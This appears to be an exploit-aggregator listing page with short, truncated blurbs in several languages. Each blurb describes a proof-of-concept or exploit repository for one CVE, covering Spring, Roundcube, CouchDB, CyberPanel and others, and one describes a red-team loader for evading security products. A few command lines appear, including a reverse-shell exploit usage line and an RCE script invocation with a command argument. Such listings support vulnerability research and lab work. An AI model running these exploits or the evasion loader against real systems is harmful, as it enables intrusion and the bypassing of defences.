CVE-2020-15148-bypasses

CVE-2020-15148-contournements Quelques contournements de CVE-2020-15148 désérialisation Yii2 poc1 Celui-ci est exploitable dans la version 2.0.37, corrigé dans la 2.0.38, c'est celui auquel CVE-2020-15148 a été attribué, les trois suivants sont des contournements. root@kitploit: checkAccess =...

mortar

Mortar Loader Technique d'évasion pour red team afin de vaincre et détourner la détection et la prévention des produits de sécurité. Mortar Loader effectue le chiffrement et le déchiffrement de PE/Shellcode dans les flux mémoire et les exécute en exploitant plusieurs techniques d'injection. Morta...

CVE-2022-22965

CVE-2022-22965 Spring Framework/CVE-2022-22965 ID de vulnérabilité : CVE-2022-22965/CNVD-2022-23942/QVD-2022-1691 Reproduire la vulnérabilité root@kitploit: docker pull vulfocus/spring-core-rce-2022-03-29 docker run -dit -p 8080:8080 vulfocus/spring-core-rce-2022-03-29 Détection de la vulnérabili...

CVE-2025-9074

Description Vibe a codé un petit script d'exploitation en Bash pur, sans dépendances vers des outils qui pourraient ne pas être installés. Le script communique avec l'API Docker interne, crée et démarre un nouveau conteneur, monte le lecteur C de l'hôte, puis exécute une commande à l'intérieur de...

CVE-2024-51568---CyberPanel-Command-Injection-Nuclei-Template

CVE-2024-51568 - Preuve de concept d'injection de commande CyberPanel Un environnement de preuve de concept et un modèle Nuclei pour tester CVE-2024-51568, une vulnérabilité critique d'injection de commande sans authentification dans CyberPanel. Détails de la vulnérabilité CVE : CVE-2024-51568...

CVE-2026-9317 Nango < 0.71.6 Missing Authentication RCE via runner tRPC server

Nango before 0.71.6 contains a missing authentication vulnerability in the runner tRPC server that allows unauthenticated attackers to execute arbitrary JavaScript code by invoking the exposed start procedure without credentials. Attackers with network access to the runner port can send requests ...

CVE-2026-9317

Nango before version 0.71.6 contains a missing authentication vulnerability in the runner tRPC server . The exposed start procedure does not enforce the RUNNER_SECRET_KEY environment variable, allowing an unauthenticated attacker with network access to the runner port to invoke it and achieve rem...

EUVD-2026-71631

Nango before 0.71.6 contains a missing authentication vulnerability in the runner tRPC server that allows unauthenticated attackers to execute arbitrary JavaScript code by invoking the exposed start procedure without credentials. Attackers with network access to the runner port can send requests ...

cve-2025-55182-poc

Laboratoire d'analyse de vulnérabilité CVE-2025-55182 React2Shell Ce dépôt contient un environnement complet pour analyser et reproduire CVE-2025-55182 , une vulnérabilité critique d'exécution de code à distance RCE dans React Server Components RSC affectant React 19.x et Next.js 15.x. ⚠️...

CVE-2017-12636

CVE-2017-12636 Utilisation: python3 exp.py target version1.6|2.1 reverseip reverseport root@kitploit: / \ | | | | / | |/ | | / / | / \ / || |/ | | / / | | | | ' / /'| |/' || | / /| | ' / /'/ / / / / | | | | | | || / / | /| | | | / /|| | / / | \ \ \ \ | /\ / / | ./ /\ |/ /| |./ / | |./ /| / |./...

CVE-2025-49132_HTB_SEASON10

CVE-2025-49132 - Exploit RCE du Panneau Pterodactyl HTB Saison 10 - Writeup de la Machine Pterodactyl Aperçu Cible : Machine HTB Pterodactyl Difficulté Moyenne CVE : CVE-2025-49132 Sévérité : Critique CVSS 9.8 Type d'attaque : Exécution de code à distance non authentifiée Affecté : Panneau...

rails-rce-cve-2016-0752

Эксплуатация CVE-2016-0752 Это приложение служит уязвимым доказательством концепции для эксплуатации CVE-2016-0752. Для получения дополнительной информации обратитесь к этой записи в блоге, в которой объясняется уязвимость, шаги, необходимые для эксплуатации, исправление и ссылка на модуль...

CVE-2026-10036-speechbrain-rce

CVE-2026-10036 : Exécution de code arbitraire dans SpeechBrain via l'analyse de CKPT.yaml Sévérité : Élevée, CVSS 4.0 8.7 , CVSS 3.1 8.8 attribuée par VulnCheck, le CNA Vecteur v4.0 : CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N Vecteur v3.1 :...

Project-CVE-2025-54068

Livewire2025CVE Scanner CVE-2025-54068 pour Livewire Scanner de vulnérabilités automatisé pour détecter la CVE-2025-54068 dans les applications Laravel utilisant Livewire v3.0.0-beta.1 jusqu'à v3.6.3. Aperçu Cet outil analyse une liste de sites web à la recherche d'indicateurs de la vulnérabilité...

PoC-and-yara-rules-of-CVE-2025-59528-Flowise-has-Remote-Code-Execution-vulnerability

PoC-et-règles-yara-de-CVE-2025-59528-Flowise-présente-une-vulnérabilité-d-exécution-de-code-à-distance AVERTISSEMENT LÉGAL ET CONDITIONS D'UTILISATION Le code de Preuve de Concept PoC et les informations techniques fournis dans ce document sont destinés uniquement à des fins éducatives, de...

fastjson-cve

Проект воспроизведения CVE-2026-16723 Обзор Этот проект воспроизводит CVE-2026-16723 — критическую уязвимость удалённого выполнения кода RCE в fastjson 1.2.68 – 1.2.83. Уязвимость позволяет выполнить RCE при конфигурации по умолчанию без необходимости включения AutoType или наличия готовых гаджет...

CVE-2025-49132

Impact En utilisant le fichier /locales/locale.json avec les paramètres de requête locale et namespace, un acteur malveillant peut exécuter du code arbitraire sans être authentifié. Avec la capacité d'exécuter du code arbitraire, cette vulnérabilité peut être exploitée d'une infinité de façons...

CVE-2021-41773

CVE-2021-41773 Проект poc&exp на языке Go. Дисклеймер: этот проект основан на повседневных учебных заметках автора. Пожалуйста, не используйте соответствующие технологии и инструменты для проведения незаконных тестов; автор не несёт ответственности за любые негативные последствия, возникшие в...

Roundcube-CVE-2025-49113

استغلال ثغرة RCE في Roundcube CVE-2025-49113 استغلال إثبات مفهوم كامل الوظائف لـ CVE-2025-49113 🧠 ملخص CVE-2025-49113 هي ثغرة ناتجة عن خطأ منطقي في محلل الجلسة الخاص بالتطبيق، مما يسمح بإلغاء تسلسل غير آمن لكائنات PHP. يمكن للمستخدمين المُوثقين استغلال هذه المشكلة لتنفيذ أوامر عشوائية على الخادم....

CVE-2025-49113-PoC

CVE-2025-49113 Roundcube RCE PoC 🚀 Comment lancer le projet 1. Lancement du serveur vulnérable root@kitploit: cd Stand docker-compose up -d 2. Lancement du script contre la cible root@kitploit: cd PoC/src python3 scanner.py --target http://localhost:9000 --username test --password test --command...